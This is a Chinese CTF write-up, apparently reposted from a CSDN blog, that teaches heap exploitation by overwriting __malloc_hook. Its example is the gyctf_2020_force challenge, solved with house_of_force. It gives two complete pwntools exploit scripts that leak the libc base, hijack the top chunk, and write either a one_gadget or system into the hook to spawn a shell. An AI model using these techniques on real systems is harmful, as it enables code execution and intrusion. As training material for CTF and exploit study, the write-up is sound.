ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

pwn题堆利用的一些姿势 -- malloc_hook

2021-04-12 09:32:05  阅读:588  来源: 互联网

标签:malloc -- gadget libc hook add recvuntil


malloc_hook

pwn题堆利用的一些姿势 – free_hook

概述

  在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。主要分为以下几个系列:malloc_hook --> free_hook …待补充

初级必备姿势

  下面介绍入门必会的姿势 – malloc_hook,该函数是在malloc函数调用前会执行的钩子函数。在程序中,通常malloc_hook的函数地址对应值为0,也就是不会执行任何东西,我们在利用过程中将其覆盖为onegadget地址,这样再执行一次malloc就会执行onegadget。

gyctf_2020_force

  接下来以2020年gyctf的一道pwn题为例,该题目中给了明显的提示要我们使用house_of_force进行漏洞利用。对该利用方式不熟悉的读者可以参考我另外一篇博文,pwn题堆入门 – Large bin
  简单分析下题目,程序本身很简单,保护全开,main函数中给了两个功能,一个add,一个puts,然后puts本身也没啥用,无法泄露信息,所以这里只贴了add的代码。如下图所示,add函数实现堆分配,对malloc大小没有限制存在house_of_force利用。图中我高亮的地方也打印出来每次分配的堆地址,后面往堆写内容时也可以进行溢出,所以house_of_force的利用条件是满足的。
add
  利用思路:正如前面所说这里开启了Full RELRO,got表无法被改写,再加上题目本身也没有给泄露函数地址的机会,所以想到利用hook+onegadget合情合理。这里我们确定使用malloc_hook,malloc_hook在libc中,需要泄露libc地址,这里采用分配非常大的内存块方式来进行泄露,原理参考这里 --> pwn题堆入门 – Large bin。接着就是正常的house_of_force攻击了,下面直接给出wp。

from pwn import *

ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path})


def add(size, content):
    p.recvuntil("2:puts\n")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("bin addr ")
    info = p.recvuntil("\n", drop=True)
    # print(info)
    info = int(info.decode("ISO-8859-1"), 16)
    p.recvuntil("content\n")
    p.send(content)
    return info

# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))

pad = cyclic(0x10)+p64(0)+p64(0xffffffffffffffff)
chunk_a = add(0x10, pad)
top = chunk_a + 0x10
print("top chunk ==> ", hex(top))

# count hook + onegadget
libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so")
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

malloc_hook = base+libc.sym["__malloc_hook"]
print("malloc_hook ==> ", hex(malloc_hook))
one_gadget = base+one_gadget[1]
print("one_gadget ==> ", hex(one_gadget))

# attack
offset = malloc_hook-top-0x20
add(offset, "aaaa")
add(0x10, p64(one_gadget))
pause()

p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(0x10))

p.interactive()

  这里贴出one_gadget的成功条件,以及再下两张图是gdb动态调试结果,结合程序打印结果,可以发现malloc_hook确实成功写入了one_gadget地址。我们再one_gadget处下断点,然后单步跟踪一下执行情况,毕竟one_gadget执行条件还不一定满足。
onegadget
gdb-res
gdb-res2
  这里one_gadget成功的条件是$rsp+0x30==NULL,不过可惜这里不是,所以无法成功获取到shell。接下来就是一一尝试剩余的one_gadget,看看能不能碰运气满足一次。
gdb-res3

常规搭配姿势

  在上面初级姿势的尝试中,我们发现不是这么轻易的能够获取到shell,所以需要一些常规的搭配姿势来帮助我们。思路是这样的,将malloc_hook地址覆盖为system地址,然后在下一次malloc时将存储有"/bin/sh\x00"字符的内存地址传给malloc,这样我们就能实现system("/bin/sh\x00")调用获取到shell。下面直接看wp,注意对比注释和新增后的代码。

from pwn import *


ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path})


def add(size, content):
    p.recvuntil("2:puts\n")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("bin addr ")
    info = p.recvuntil("\n", drop=True)
    # print(info)
    info = int(info.decode("ISO-8859-1"), 16)
    p.recvuntil("content\n")
    p.send(content)
    return info

# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))

# here is bin_sh
pad = b"/bin/sh\x00"+p64(0)*2+p64(0xffffffffffffffff)
chunk_a = add(0x10, pad)
top = chunk_a + 0x10
print("top chunk ==> ", hex(top))

# count hook + onegadget
libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so")
# one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

malloc_hook = base+libc.sym["__malloc_hook"]
print("malloc_hook ==> ", hex(malloc_hook))
# one_gadget = base+one_gadget[1]
# print("one_gadget ==> ", hex(one_gadget))
sys = base+libc.sym["system"]
print("system ==> ", hex(sys))

# attack
offset = malloc_hook-top-0x20
add(offset, "aaaa")
# add(0x10, p64(one_gadget))
add(0x10, p64(sys))
pause()

p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
# p.sendline(str(0x10))
p.sendline(str(chunk_a))

p.interactive()

  如下图所示,是gdb动态调试的结果,可以看到malloc_hook处被成功覆盖为system函数地址,这里和上面的操作一样在system处打下断点,可以逐步分析system的执行情况,最终可以成功执行获取到shell。
gdb-sys1
gdb-sys2
gdb-sys3

按需进阶姿势

总结

不忘初心,砥砺前行!

标签:malloc,--,gadget,libc,hook,add,recvuntil
来源: https://blog.csdn.net/A951860555/article/details/115462494

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有